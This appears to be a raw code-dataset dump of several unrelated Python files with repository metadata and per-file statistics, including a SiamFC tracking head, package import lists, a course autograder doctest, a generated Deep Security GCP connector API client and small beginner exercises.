] | null | null | null | siamfc/heads.py | saiajaym/siamFC | 20d09be54c8403ffb2494f34a42cc507f2fe98a4 | [
"MIT"
] | null | null | null | siamfc/heads.py | saiajaym/siamFC | 20d09be54c8403ffb2494f34a42cc507f2fe98a4 | [
"MIT"
] | 1 | 2020-02-24T06:06:31.000Z | 2020-02-24T06:06:31.000Z | from __future__ import absolute_import
import torch.nn as nn
import torch.nn.functional as F
__all__ = ['SiamFC']
class SiamFC(nn.Module):
def __init__(self, out_scale=0.001):
super(SiamFC, self).__init__()
self.out_scale = out_scale
def forward(self, z, x):
return self._fast_xcorr(z, x) * self.out_scale
def _fast_xcorr(self, z, x):
# fast cross correlation
nz = z.size(0)
nx, c, h, w = x.size()
x = x.view(-1, nz * c, h, w)
out = F.conv2d(x, z, groups=nz)
out = out.view(nx, -1, out.size(-2), out.size(-1))
return out
class SiamFC_V2(nn.Module):
def __init__(self, out_scale=0.001):
super(SiamFC_V2, self).__init__()
self.out_scale = out_scale
def forward(self, z, x):
print (z.shape, x.shape)
return self._fast_xcorr(z, x) * self.out_scale
def _fast_xcorr(self, z, x):
# fast cross correlation
nz = z.size(0)
nx, c, h, w = x.size()
x = x.view(-1, nz * c, h, w)
out = F.conv2d(x, z, groups=nz)
out = out.view(nx, -1, out.size(-2), out.size(-1))
return out
| 25.106383 | 58 | 0.557627 | 187 | 1,180 | 3.28877 | 0.229947 | 0.104065 | 0.117073 | 0.104065 | 0.796748 | 0.796748 | 0.796748 | 0.796748 | 0.796748 | 0.796748 | 0 | 0.026602 | 0.299153 | 1,180 | 46 | 59 | 25.652174 | 0.71705 | 0.038136 | 0 | 0.709677 | 0 | 0 | 0.0053 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.193548 | false | 0 | 0.096774 | 0.032258 | 0.483871 | 0.032258 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
fab0af6529eb158f7e4b1162a0e0287e5a9fcfc4 | 138 | py | Python | orwell/writers/__init__.py | joocer/orwell | 7bfbea49ec911123687fa394b1d91e99251959d5 | [
"Apache-2.0"
] | null | null | null | orwell/writers/__init__.py | joocer/orwell | 7bfbea49ec911123687fa394b1d91e99251959d5 | [
"Apache-2.0"
] | null | null | null | orwell/writers/__init__.py | joocer/orwell | 7bfbea49ec911123687fa394b1d91e99251959d5 | [
"Apache-2.0"
] | 1 | 2020-12-17T08:50:56.000Z | 2020-12-17T08:50:56.000Z | from .writer import Writer
from .null_writer import null_writer
from .file_writer import file_writer
from .blob_writer import blob_writer
| 27.6 | 36 | 0.855072 | 22 | 138 | 5.090909 | 0.272727 | 0.428571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115942 | 138 | 4 | 37 | 34.5 | 0.918033 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
fadc0eba95614bf0682be86b3098ac9e47c413ae | 207 | py | Python | easyfsl/methods/__init__.py | lnowakow/easy-few-shot-learning | 487531ce1a7c1d58d74cd5aa21e336aa2c5df883 | [
"MIT"
] | 208 | 2021-02-23T16:36:21.000Z | 2022-03-31T08:39:38.000Z | easyfsl/methods/__init__.py | karndeepsingh/easy-few-shot-learning | afb315589c42ea9380f908380b46b5cb3a200dad | [
"MIT"
] | 14 | 2021-03-02T16:27:54.000Z | 2022-03-29T08:43:35.000Z | easyfsl/methods/__init__.py | karndeepsingh/easy-few-shot-learning | afb315589c42ea9380f908380b46b5cb3a200dad | [
"MIT"
] | 36 | 2021-06-01T12:51:35.000Z | 2022-03-30T17:58:23.000Z | from .abstract_meta_learner import AbstractMetaLearner
from .matching_networks import MatchingNetworks
from .prototypical_networks import PrototypicalNetworks
from .relation_networks import RelationNetworks
| 41.4 | 55 | 0.903382 | 21 | 207 | 8.666667 | 0.619048 | 0.230769 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.077295 | 207 | 4 | 56 | 51.75 | 0.95288 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4f04adcadc3bb7cfe72d1d36fd677265df61b10a | 1,079 | py | Python | site/assignments/assignment5/tests/q01.py | rpi-techfundamentals/website_fall_2020 | b85e5c297954bcaae565a8d25a18d2904d40f543 | [
"MIT"
] | 2 | 2020-10-18T23:05:09.000Z | 2021-11-14T08:09:11.000Z | site/assignments/assignment5/tests/q01.py | rpi-techfundamentals/website_fall_2020 | b85e5c297954bcaae565a8d25a18d2904d40f543 | [
"MIT"
] | 2 | 2020-12-31T14:33:02.000Z | 2020-12-31T14:38:26.000Z | site/assignments/assignment5/tests/q01.py | rpi-techfundamentals/website_fall_2020 | b85e5c297954bcaae565a8d25a18d2904d40f543 | [
"MIT"
] | 3 | 2021-01-05T20:26:15.000Z | 2021-02-15T14:54:44.000Z | test = {
'name': 'Question',
'points': 1,
'suites': [
{
'cases': [
{
'code': r"""
>>> X_train.columns.values.tolist()== ['Age', 'SibSp', 'Parch', 'Fare', 'family_size', 'Pclass_2', 'Pclass_3', 'Sex_male', 'Cabin_B', 'Cabin_C', 'Cabin_D', 'Cabin_E', 'Cabin_F', 'Cabin_G', 'Cabin_H', 'Embarked_Q', 'Embarked_S']
True
""",
'hidden': False,
'locked': False
},
{
'code': r"""
>>> X_test.columns.values.tolist()== ['Age', 'SibSp', 'Parch', 'Fare', 'family_size', 'Pclass_2', 'Pclass_3', 'Sex_male', 'Cabin_B', 'Cabin_C', 'Cabin_D', 'Cabin_E', 'Cabin_F', 'Cabin_G', 'Cabin_H', 'Embarked_Q', 'Embarked_S']
True
""",
'hidden': False,
'locked': False
},
{
'code': r"""
>>> int(y.sum())== 342
True
""",
'hidden': False,
'locked': False
}
],
'scored': True,
'setup': '',
'teardown': '',
'type': 'doctest'
}
]
}
| 27.666667 | 237 | 0.430028 | 108 | 1,079 | 4.037037 | 0.453704 | 0.034404 | 0.103211 | 0.144495 | 0.784404 | 0.724771 | 0.724771 | 0.724771 | 0.724771 | 0.724771 | 0 | 0.011364 | 0.347544 | 1,079 | 38 | 238 | 28.394737 | 0.607955 | 0 | 0 | 0.394737 | 0 | 0.052632 | 0.642261 | 0.060241 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
877c0fdc7edacc53b7e3f4b6b546124fab224dce | 155 | py | Python | test.py | wedavey/atnlp-docker | fccbabb04b8da49fc509a83661e91be900a622c5 | [
"MIT"
] | null | null | null | test.py | wedavey/atnlp-docker | fccbabb04b8da49fc509a83661e91be900a622c5 | [
"MIT"
] | null | null | null | test.py | wedavey/atnlp-docker | fccbabb04b8da49fc509a83661e91be900a622c5 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# encoding: utf-8
try:
import sklearn
print("Successfully imported sklearn")
except:
print("Failed to import sklearn")
| 19.375 | 42 | 0.690323 | 20 | 155 | 5.35 | 0.8 | 0.242991 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008 | 0.193548 | 155 | 7 | 43 | 22.142857 | 0.848 | 0.232258 | 0 | 0 | 0 | 0 | 0.452991 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.6 | 0 | 0.6 | 0.4 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
878bd63489c719e1568e0641ed497ebd5f25c5df | 324 | py | Python | du/ctee/transformers/BaseTransformer.py | spiricn/DevUtils | 58a035a08a7c58035c25f992c1b8aa33cc997cd2 | [
"MIT"
] | 1 | 2021-12-21T13:18:08.000Z | 2021-12-21T13:18:08.000Z | du/ctee/transformers/BaseTransformer.py | spiricn/DevUtils | 58a035a08a7c58035c25f992c1b8aa33cc997cd2 | [
"MIT"
] | null | null | null | du/ctee/transformers/BaseTransformer.py | spiricn/DevUtils | 58a035a08a7c58035c25f992c1b8aa33cc997cd2 | [
"MIT"
] | null | null | null | class BaseTransformer:
def __init__(self):
pass
def getHeader(self):
return ""
def getTrailer(self):
return ""
def transform(self, line, style):
raise RuntimeError("Not implemented")
def onLineStart(self):
return ""
def onLineEnd(self):
return ""
| 17.052632 | 45 | 0.574074 | 31 | 324 | 5.870968 | 0.580645 | 0.21978 | 0.214286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.324074 | 324 | 18 | 46 | 18 | 0.83105 | 0 | 0 | 0.307692 | 0 | 0 | 0.046296 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.461538 | false | 0.076923 | 0 | 0.307692 | 0.846154 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 6 |
e2107a3d40532beab8ffa2889e78e9ef2f465805 | 277 | py | Python | sigopt/cli/commands/__init__.py | emattia/sigopt-python | e6b4e5240261ddbdc84a3b4061b8935873612c23 | [
"MIT"
] | 67 | 2015-03-01T02:16:47.000Z | 2021-05-10T16:17:21.000Z | sigopt/cli/commands/__init__.py | emattia/sigopt-python | e6b4e5240261ddbdc84a3b4061b8935873612c23 | [
"MIT"
] | 150 | 2015-10-22T21:59:37.000Z | 2022-03-10T00:55:19.000Z | sigopt/cli/commands/__init__.py | emattia/sigopt-python | e6b4e5240261ddbdc84a3b4061b8935873612c23 | [
"MIT"
] | 19 | 2016-07-10T03:46:33.000Z | 2022-02-05T12:13:01.000Z | import sigopt.cli.commands.cluster
import sigopt.cli.commands.config
import sigopt.cli.commands.experiment
import sigopt.cli.commands.init
import sigopt.cli.commands.local
import sigopt.cli.commands.version
import sigopt.cli.commands.training_run
from .base import sigopt_cli
| 27.7 | 39 | 0.851986 | 41 | 277 | 5.707317 | 0.341463 | 0.410256 | 0.512821 | 0.688034 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.068592 | 277 | 9 | 40 | 30.777778 | 0.906977 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
355f4eaff048f2e42552e0acd59e678a2da9f93d | 83 | py | Python | util/act_sigmoid.py | widyaageng/Sudoku_auto | 94b612fd3266cdd42d20973e98a89f90d664d57c | [
"BSD-2-Clause"
] | null | null | null | util/act_sigmoid.py | widyaageng/Sudoku_auto | 94b612fd3266cdd42d20973e98a89f90d664d57c | [
"BSD-2-Clause"
] | null | null | null | util/act_sigmoid.py | widyaageng/Sudoku_auto | 94b612fd3266cdd42d20973e98a89f90d664d57c | [
"BSD-2-Clause"
] | null | null | null | import numpy as np
def sigmoid(z):
return 1/(1 + np.exp(np.multiply(-1, z)))
| 13.833333 | 45 | 0.614458 | 16 | 83 | 3.1875 | 0.6875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045455 | 0.204819 | 83 | 5 | 46 | 16.6 | 0.727273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
3570d40edcde7e1fee14e23694a593d29ace999a | 13,205 | py | Python | source/deepsecurity/api/gcp_connector_actions_api.py | felipecosta09/cloudone-workload-controltower-lifecycle | 7927c84d164058b034fc872701b5ee117641f4d1 | [
"Apache-2.0"
] | 1 | 2021-10-30T16:40:09.000Z | 2021-10-30T16:40:09.000Z | source/deepsecurity/api/gcp_connector_actions_api.py | felipecosta09/cloudone-workload-controltower-lifecycle | 7927c84d164058b034fc872701b5ee117641f4d1 | [
"Apache-2.0"
] | 1 | 2021-07-28T20:19:03.000Z | 2021-07-28T20:19:03.000Z | source/deepsecurity/api/gcp_connector_actions_api.py | felipecosta09/cloudone-workload-controltower-lifecycle | 7927c84d164058b034fc872701b5ee117641f4d1 | [
"Apache-2.0"
] | 1 | 2021-10-30T16:40:02.000Z | 2021-10-30T16:40:02.000Z | # coding: utf-8
"""
Trend Micro Deep Security API
Copyright 2018 - 2020 Trend Micro Incorporated.<br/>Get protected, stay secured, and keep informed with Trend Micro Deep Security's new RESTful API. Access system data and manage security configurations to automate your security workflows and integrate Deep Security into your CI/CD pipeline. # noqa: E501
OpenAPI spec version: 12.5.841
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from deepsecurity.api_client import ApiClient
class GCPConnectorActionsApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def create_gcp_connector_action(self, gcp_connector_id, gcp_connector_action, api_version, **kwargs): # noqa: E501
"""Create a connector action # noqa: E501
Create a connector action by connector ID. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_gcp_connector_action(gcp_connector_id, gcp_connector_action, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int gcp_connector_id: The ID number of the GCP Connector. (required)
:param Action gcp_connector_action: The property of the new GCP Connector action. (required)
:param str api_version: The version of the api being called. (required)
:return: Action
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.create_gcp_connector_action_with_http_info(gcp_connector_id, gcp_connector_action, api_version, **kwargs) # noqa: E501
else:
(data) = self.create_gcp_connector_action_with_http_info(gcp_connector_id, gcp_connector_action, api_version, **kwargs) # noqa: E501
return data
def create_gcp_connector_action_with_http_info(self, gcp_connector_id, gcp_connector_action, api_version, **kwargs): # noqa: E501
"""Create a connector action # noqa: E501
Create a connector action by connector ID. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_gcp_connector_action_with_http_info(gcp_connector_id, gcp_connector_action, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int gcp_connector_id: The ID number of the GCP Connector. (required)
:param Action gcp_connector_action: The property of the new GCP Connector action. (required)
:param str api_version: The version of the api being called. (required)
:return: Action
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['gcp_connector_id', 'gcp_connector_action', 'api_version'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_gcp_connector_action" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'gcp_connector_id' is set
if ('gcp_connector_id' not in params or
params['gcp_connector_id'] is None):
raise ValueError("Missing the required parameter `gcp_connector_id` when calling `create_gcp_connector_action`") # noqa: E501
# verify the required parameter 'gcp_connector_action' is set
if ('gcp_connector_action' not in params or
params['gcp_connector_action'] is None):
raise ValueError("Missing the required parameter `gcp_connector_action` when calling `create_gcp_connector_action`") # noqa: E501
# verify the required parameter 'api_version' is set
if ('api_version' not in params or
params['api_version'] is None):
raise ValueError("Missing the required parameter `api_version` when calling `create_gcp_connector_action`") # noqa: E501
if 'gcp_connector_id' in params and not re.search('\\d+', str(params['gcp_connector_id'])): # noqa: E501
raise ValueError("Invalid value for parameter `gcp_connector_id` when calling `create_gcp_connector_action`, must conform to the pattern `/\\d+/`") # noqa: E501
collection_formats = {}
path_params = {}
if 'gcp_connector_id' in params:
path_params['gcpConnectorID'] = params['gcp_connector_id'] # noqa: E501
query_params = []
header_params = {}
if 'api_version' in params:
header_params['api-version'] = params['api_version'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
if 'gcp_connector_action' in params:
body_params = params['gcp_connector_action']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['DefaultAuthentication'] # noqa: E501
return self.api_client.call_api(
'/gcpconnectors/{gcpConnectorID}/actions', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Action', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def describe_gcp_connector_action(self, gcp_connector_id, action_id, api_version, **kwargs): # noqa: E501
"""Describe a connector action # noqa: E501
Describe a connector action by connector ID and action ID. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.describe_gcp_connector_action(gcp_connector_id, action_id, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int gcp_connector_id: The ID number of the GCP Connector. (required)
:param int action_id: The ID number of the GCP Connector action. (required)
:param str api_version: The version of the api being called. (required)
:return: Action
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.describe_gcp_connector_action_with_http_info(gcp_connector_id, action_id, api_version, **kwargs) # noqa: E501
else:
(data) = self.describe_gcp_connector_action_with_http_info(gcp_connector_id, action_id, api_version, **kwargs) # noqa: E501
return data
def describe_gcp_connector_action_with_http_info(self, gcp_connector_id, action_id, api_version, **kwargs): # noqa: E501
"""Describe a connector action # noqa: E501
Describe a connector action by connector ID and action ID. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.describe_gcp_connector_action_with_http_info(gcp_connector_id, action_id, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int gcp_connector_id: The ID number of the GCP Connector. (required)
:param int action_id: The ID number of the GCP Connector action. (required)
:param str api_version: The version of the api being called. (required)
:return: Action
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['gcp_connector_id', 'action_id', 'api_version'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method describe_gcp_connector_action" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'gcp_connector_id' is set
if ('gcp_connector_id' not in params or
params['gcp_connector_id'] is None):
raise ValueError("Missing the required parameter `gcp_connector_id` when calling `describe_gcp_connector_action`") # noqa: E501
# verify the required parameter 'action_id' is set
if ('action_id' not in params or
params['action_id'] is None):
raise ValueError("Missing the required parameter `action_id` when calling `describe_gcp_connector_action`") # noqa: E501
# verify the required parameter 'api_version' is set
if ('api_version' not in params or
params['api_version'] is None):
raise ValueError("Missing the required parameter `api_version` when calling `describe_gcp_connector_action`") # noqa: E501
if 'gcp_connector_id' in params and not re.search('\\d+', str(params['gcp_connector_id'])): # noqa: E501
raise ValueError("Invalid value for parameter `gcp_connector_id` when calling `describe_gcp_connector_action`, must conform to the pattern `/\\d+/`") # noqa: E501
if 'action_id' in params and not re.search('\\d+', str(params['action_id'])): # noqa: E501
raise ValueError("Invalid value for parameter `action_id` when calling `describe_gcp_connector_action`, must conform to the pattern `/\\d+/`") # noqa: E501
collection_formats = {}
path_params = {}
if 'gcp_connector_id' in params:
path_params['gcpConnectorID'] = params['gcp_connector_id'] # noqa: E501
if 'action_id' in params:
path_params['actionID'] = params['action_id'] # noqa: E501
query_params = []
header_params = {}
if 'api_version' in params:
header_params['api-version'] = params['api_version'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['DefaultAuthentication'] # noqa: E501
return self.api_client.call_api(
'/gcpconnectors/{gcpConnectorID}/actions/{actionID}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Action', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 48.726937 | 311 | 0.642105 | 1,599 | 13,205 | 5.041276 | 0.11945 | 0.122069 | 0.093785 | 0.038705 | 0.902493 | 0.893189 | 0.887607 | 0.863913 | 0.854733 | 0.840963 | 0 | 0.016477 | 0.273836 | 13,205 | 270 | 312 | 48.907407 | 0.824174 | 0.337296 | 0 | 0.699301 | 0 | 0 | 0.281219 | 0.077417 | 0 | 0 | 0 | 0 | 0 | 1 | 0.034965 | false | 0 | 0.027972 | 0 | 0.111888 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
3579ed455315f515cdc34782570b1c07f88c6d83 | 45 | py | Python | flask_paranoid/__init__.py | nehaljwani/flask-paranoid | ec6205756d55edd1b135249b9bb345871fef0977 | [
"MIT"
] | 68 | 2017-06-30T06:52:27.000Z | 2022-03-22T02:39:58.000Z | openresty-win32-build/thirdparty/x86/pgsql/pgAdmin 4/venv/Lib/site-packages/flask_paranoid/__init__.py | nneesshh/openresty-oss | bfbb9d7526020eda1788a0ed24f2be3c8be5c1c3 | [
"MIT"
] | 10 | 2020-06-05T19:42:26.000Z | 2022-03-11T23:38:35.000Z | openresty-win32-build/thirdparty/x86/pgsql/pgAdmin 4/venv/Lib/site-packages/flask_paranoid/__init__.py | nneesshh/openresty-oss | bfbb9d7526020eda1788a0ed24f2be3c8be5c1c3 | [
"MIT"
] | 7 | 2017-08-02T02:33:58.000Z | 2020-11-19T08:50:00.000Z | from .paranoid import Paranoid # noqa: F401
| 22.5 | 44 | 0.755556 | 6 | 45 | 5.666667 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.081081 | 0.177778 | 45 | 1 | 45 | 45 | 0.837838 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
359d13d74e8e7d16277682d94accc74aebfa801a | 50 | py | Python | www/apps/auth/middleware/__init__.py | un33k/outsourcefactor | c48dbd11b74ba5fb72b85f05c431a16287f62507 | [
"MIT"
] | 2 | 2018-12-23T04:14:32.000Z | 2018-12-23T15:02:08.000Z | www/apps/auth/middleware/__init__.py | un33k/outsourcefactor | c48dbd11b74ba5fb72b85f05c431a16287f62507 | [
"MIT"
] | null | null | null | www/apps/auth/middleware/__init__.py | un33k/outsourcefactor | c48dbd11b74ba5fb72b85f05c431a16287f62507 | [
"MIT"
] | 1 | 2019-11-17T19:53:07.000Z | 2019-11-17T19:53:07.000Z | from SessionIdleTimeout import SessionIdleTimeout
| 25 | 49 | 0.92 | 4 | 50 | 11.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08 | 50 | 1 | 50 | 50 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
35a69907e869618e26256670c7b04a7a2e146023 | 151 | py | Python | chap8/8-12.py | StewedChickenwithStats/Answers-to-Python-Crash-Course | 9ffbe02abba5d111f702d920db7932303daf59d4 | [
"MIT"
] | 1 | 2022-02-21T07:05:48.000Z | 2022-02-21T07:05:48.000Z | chap8/8-12.py | StewedChickenwithStats/Answers-to-Python-Crash-Course | 9ffbe02abba5d111f702d920db7932303daf59d4 | [
"MIT"
] | null | null | null | chap8/8-12.py | StewedChickenwithStats/Answers-to-Python-Crash-Course | 9ffbe02abba5d111f702d920db7932303daf59d4 | [
"MIT"
] | null | null | null | def make_sandwich(*toppings):
print(toppings)
make_sandwich('chicken')
make_sandwich('beef', 'chicken')
make_sandwich('beef', 'chicken', 'fish')
| 18.875 | 40 | 0.721854 | 18 | 151 | 5.833333 | 0.444444 | 0.457143 | 0.361905 | 0.438095 | 0.504762 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.099338 | 151 | 7 | 41 | 21.571429 | 0.772059 | 0 | 0 | 0 | 0 | 0 | 0.218543 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | true | 0 | 0 | 0 | 0.2 | 0.2 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5761bfe4fbce0e11809371c7fbdcf194c45c4c9b | 1,067 | py | Python | pyenv/lib/python3.6/sre_compile.py | ronald-rgr/ai-chatbot-smartguide | c9c830feb6b66c2e362f8fb5d147ef0c4f4a08cf | [
"Apache-2.0"
] | null | null | null | pyenv/lib/python3.6/sre_compile.py | ronald-rgr/ai-chatbot-smartguide | c9c830feb6b66c2e362f8fb5d147ef0c4f4a08cf | [
"Apache-2.0"
] | 3 | 2020-03-23T18:01:51.000Z | 2021-03-19T23:15:15.000Z | pyenv/lib/python3.6/sre_compile.py | ronald-rgr/ai-chatbot-smartguide | c9c830feb6b66c2e362f8fb5d147ef0c4f4a08cf | [
"Apache-2.0"
] | null | null | null | XSym
0078
a484d093f7fc350b117a180672f9bb59
/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/sre_compile.py
| 213.4 | 945 | 0.099344 | 16 | 1,067 | 6.5625 | 0.9375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.254237 | 0.88941 | 1,067 | 5 | 945 | 213.4 | 0.635593 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
